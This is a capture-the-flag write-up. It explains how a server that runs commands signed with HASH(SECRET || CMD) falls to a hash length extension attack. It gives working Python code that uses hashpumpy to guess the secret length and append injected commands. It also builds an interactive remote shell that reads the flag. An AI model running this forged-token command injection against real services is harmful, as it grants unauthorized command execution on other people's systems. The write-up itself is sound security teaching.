For this challenge, we were given access to a server which we can connect to:

$ nc 144.217.73.235 27099

give me cmd|token
example: 
ls|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140
id|69a4061766769d0a19ab59e6f905f7ac5875691b62765cb6b3b5ee6ae08f776a

ls|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140
chall.py
wrapper

$ nc 144.217.73.235 27099

give me cmd|token
example: 
ls|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140
id|69a4061766769d0a19ab59e6f905f7ac5875691b62765cb6b3b5ee6ae08f776a

whoami|c9af5ac08978481063b711f031f38518a7c2d83d6db3eabacbd7726470e8a140
Bad Token

It executes the command we give it, given that we know the corresponding hash. The challenge description told us that the hash format is HASH(SECRET || CMD).

This should instantly make us think of hash key length extension attacks. I’ve written about this previously, for the DG’hAck StickItUp challenge.

This attack allows us to append arbitrary data at the end of an hashed value, while keeping the hash valid. Here, we can append ; my_command to the existing command to execute what we want.

We’ll use the same tool: hashpump. First, we have to figure out the key length. The service returned Bad Token when we tried to pass the ls hash for the whoami command, so let’s use that.

# To remove warnings from hashpumpy ; https://stackoverflow.com/a/879249/6262617
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning) 

import hashpumpy
from pwn import *

# To remove remote(...) logs
context.log_level = 'ERROR'

ID_HASH = '69a4061766769d0a19ab59e6f905f7ac5875691b62765cb6b3b5ee6ae08f776a'

def get_output(token, command):
    r = remote('144.217.73.235', 27099)
    r.recvuntil(ID_HASH + '\n')
    r.sendline(command + b'|' + token.encode())
    data = r.recvall()
    if b'Bad Token' in data:
        return None
    return data

for key_len in range(100):
    # Could also have used the `ls` hash.
    token, command = hashpumpy.hashpump(ID_HASH, 'id', ' ; echo 1', key_len)
    output = get_output(token, command)

    if output:
        print(key_len, 'OK', output)
        break
    else:
        print(key_len, 'FAIL')
$ python fuzz.py 
0 FAIL
1 FAIL
2 FAIL
3 FAIL
4 FAIL
5 FAIL
6 FAIL
7 FAIL
8 FAIL
9 FAIL
10 FAIL
11 FAIL
12 FAIL
13 FAIL
14 FAIL
15 FAIL
16 FAIL
17 FAIL
18 FAIL
19 FAIL
20 FAIL
21 FAIL
22 OK b'\nuid=1000(ctf) gid=1000(ctf) groups=1000(ctf)\n1\n'

As we can see, we successfully injected our echo 1 command. We get its output right after the output of the id command.

We can now build ourselves a simple shell:

# To remove pesky warnings ; https://stackoverflow.com/a/879249/6262617
import warnings
warnings.filterwarnings("ignore", category=DeprecationWarning) 

import hashpumpy
from pwn import *

# To remove remote(...) logs
context.log_level = 'ERROR'

ID_HASH = '69a4061766769d0a19ab59e6f905f7ac5875691b62765cb6b3b5ee6ae08f776a'
KEY_LEN = 22

def get_output(token, command):
    r = remote('144.217.73.235', 27099)
    r.recvuntil(ID_HASH + '\n')
    r.sendline(command + b'|' + token.encode())
    data = r.recvall()
    if b'Bad Token' in data:
        return None
    return data

def inject_command(command):
    injected_command = f'; {command}'
    token, command = hashpumpy.hashpump(ID_HASH, 'id', injected_command, KEY_LEN)
    output = get_output(token, command)
    output = output.decode().strip()
    # Remove original 'id' output
    output = '\n'.join(output.split('\n')[1:])
    return output

while True:
    try:
        cmd = input('$ ').strip()
    except:
        break

    if not cmd:
        break

    print(inject_command(cmd))
$ python demo.py
$ whoami
ctf
$ cat /home/ctf/flag.txt
CYBERTF{HM@C_Custom_Is_Bad_Idea}

Here we go, the flag is CYBERTF{HM@C_Custom_Is_Bad_Idea}.

You can view the sources on github or read other writeups.